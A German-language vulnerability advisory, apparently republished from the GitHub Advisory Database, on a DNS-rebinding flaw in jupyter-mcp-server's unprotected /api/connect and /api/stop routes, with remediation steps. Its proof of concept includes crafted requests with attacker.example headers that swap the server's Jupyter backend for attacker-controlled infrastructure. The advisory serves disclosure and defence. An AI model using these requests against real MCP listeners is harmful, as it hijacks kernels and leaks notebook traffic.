Kritisch

Jupyter MCP Server: Browser-DNS-Rebinding kann das Jupyter-Backend über Management-Routen kapern

  • Veröffentlicht: 20.11.2026
  • Aktualisiert: 21.11.2026 10:00

Der Standalone-streamable-http-Modus in datalayer/jupyter-mcp-server weist gefälschte Host- und Origin-Header auf /mcp ab, jedoch erhalten benutzerdefinierte Management-Routen auf derselben Anwendung nicht denselben Schutz vor Browser-Ursprüngen. Eine bösartige Website kann ihren Angreifer-Ursprung beibehalten, während ihr Hostname zu 127.0.0.1 oder einer privaten Zieladresse aufgelöst wird, und anschließend PUT /api/connect senden, um das aktive Jupyter-Backend des MCP-Servers zu ersetzen. Die Route akzeptiert die Anfrage im Browser-Format und veranlasst den Server, einen Kernel-Client gegen die vom Angreifer kontrollierte Infrastruktur zu starten.

Der geschützte Endpunkt /mcp demonstriert die vorgesehene Grenze für Browser-Ursprünge. Wenn MCP_TOKEN konfiguriert ist, weist /mcp gefälschte Browser-Header ab:

POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142

HTTP 421 Invalid Host header

Die verwundbare Route ist jupyter_mcp_server/server.py:143-187. Sie parst JSON-Daten des Aufrufers, aktualisiert die Konfiguration des aktiven Jupyter-Backends, setzt ServerContext zurück und startet den Kernel, ohne die /mcp-Host/Origin-Abweisung auf die benutzerdefinierte Route anzuwenden:

python
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
    data = await request.json()

    document_runtime = DocumentRuntime(**data)

    set_config(
        provider=document_runtime.provider,
        runtime_url=document_runtime.runtime_url,
        runtime_id=document_runtime.runtime_id,
        runtime_token=document_runtime.runtime_token,
        document_url=document_runtime.document_url,
        document_id=document_runtime.document_id,
        document_token=document_runtime.document_token,
        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
    )

    ServerContext.reset()

    try:
        __start_kernel()
        return JSONResponse({"success": True})

Auch /api/stop ändert den Status und akzeptiert dasselbe Browser-Origin-Format:

python
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
    try:
        current_notebook = notebook_manager.get_current_notebook() or "default"
        if current_notebook in notebook_manager:
            notebook_manager.remove_notebook(current_notebook)
        return JSONResponse({"success": True})

Machbarkeitsnachweis (PoC)

Führen Sie die betroffene Version mit konfigurierter MCP_TOKEN aus:

bash
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
  --transport streamable-http \
  --start-new-runtime false \
  --jupyterlab false \
  --mcp-token SCAN_MCP_TOKEN \
  --port 8083

Zunächst wird gezeigt, dass /mcp die Anfrage im Browser-Format abweist:

http
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}

Beobachtete Antwort:

http
HTTP/1.1 421
Invalid Host header

Senden Sie nun dieselbe Browser-Ursprungsanfrage an die benutzerdefinierte Management-Route. Bei einem Browser-DNS-Rebinding-Angriff behält die vom Angreifer kontrollierte Seite den Angreifer-Ursprung bei, während der Hostname zu 127.0.0.1 oder dem privaten MCP-Listener aufgelöst wird:

http
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json

{
  "provider": "jupyter",
  "runtime_url": "http://127.0.0.1:9183",
  "runtime_id": "",
  "runtime_token": "ATTACKER_TOKEN_REBIND",
  "document_url": "http://127.0.0.1:9183",
  "document_id": "demo.ipynb",
  "document_token": "ATTACKER_TOKEN_REBIND"
}

Beobachtete Antwort:

http
HTTP/1.1 200 OK
content-type: application/json

{"success":true}

Das Server-Protokoll zeigt, dass /api/connect das vom Angreifer gewählte Backend trotz der Browser-Origin-Header akzeptiert hat:

Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully

Wenn ein vom Angreifer kontrolliertes Backend auf 127.0.0.1:9183 lauscht, empfängt es Jupyter-API-Verkehr vom MCP-Server:

POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND

GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND

Auswirkungen

Der geschützte Endpunkt /mcp weist gefälschte Host- und Origin-Werte ab, benachbarte benutzerdefinierte Routen akzeptieren diese jedoch und führen sensible Statusänderungen durch. Ein webbasierter Angreifer kann DNS-Rebinding ausnutzen, um über den Browser des Opfers einen lokalen, LAN-, VPN- oder Docker-exponierten MCP-Listener zu erreichen, den aktuellen Notebook-Kernel über /api/stop zu stoppen, die konfigurierten Werte für runtime_url und document_url über /api/connect zu ersetzen und den MCP-Server zu veranlassen, Jupyter-API- sowie WebSocket-Verkehr an die Infrastruktur des Angreifers zu senden.

Einstufung als Schwachstelle

  • Es handelt sich nicht um eine allgemeine Behauptung, dass /mcp keine Host-Validierung durchführt. /mcp weist manipulierte Host-Anfragen mit HTTP 421 Invalid Host header ab.
  • Es handelt sich nicht um eine vertrauenswürdige MCP-Client-Operation. Der betroffene Pfad ist eine benutzerdefinierte HTTP-Route außerhalb des regulären JSON-RPC-Tool-Dispatchings und akzeptiert Anfragen im Browser-Format.
  • Es handelt sich nicht lediglich um ein Problem der Bindung an alle Schnittstellen. Die standardmäßige Bindung an 0.0.0.0 erhöht zwar das Risiko, das eigentliche Problem der Browser-Ursprungsgrenze besteht jedoch darin, dass statusverändernde benutzerdefinierte Routen die für /mcp geltenden Host/Origin-Kontrollen umgehen.

Was zu tun ist

Die Sicherheitsrichtlinie für Browser-Ursprünge sollte auf jede Route der Standalone-HTTP-Anwendung angewendet werden:

  1. Vor dem Parsen von Anfrage-Bodys oder dem Ändern der globalen Konfiguration durch benutzerdefinierte Routen muss eine Host- und Origin-Validierung erzwungen werden.
  2. Das MCP_TOKEN-Bearer-Token sollte für /api/connect, /api/stop, /api/healthz sowie alle zukünftigen benutzerdefinierten Routen erforderlich sein, die den Serverstatus lesen oder verändern.
  3. Standalone-HTTP sollte standardmäßig an 127.0.0.1 gebunden werden, mit einer expliziten Host-Allowlist für Nicht-Loopback-Listener.
  4. Ergänzung von Regressionstests, die sicherstellen, dass /api/connect und /api/stop gefälschte Browser-Header für Host und Origin abweisen.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) jupyter-mcp-server < 1.0.3 1.0.3

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H
Schwäche (CWE)
CWE-350
Plattform
Python (PyPI)
Paket
jupyter-mcp-server
Veröffentlicht
20.11.2026
Aktualisiert
21.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-9x8x-crjq-g64h - CC BY 4.0

Schwachstellenhistorie: jupyter-mcp-server

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Dies ist die einzige bekannte Schwachstelle dieses Pakets.

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.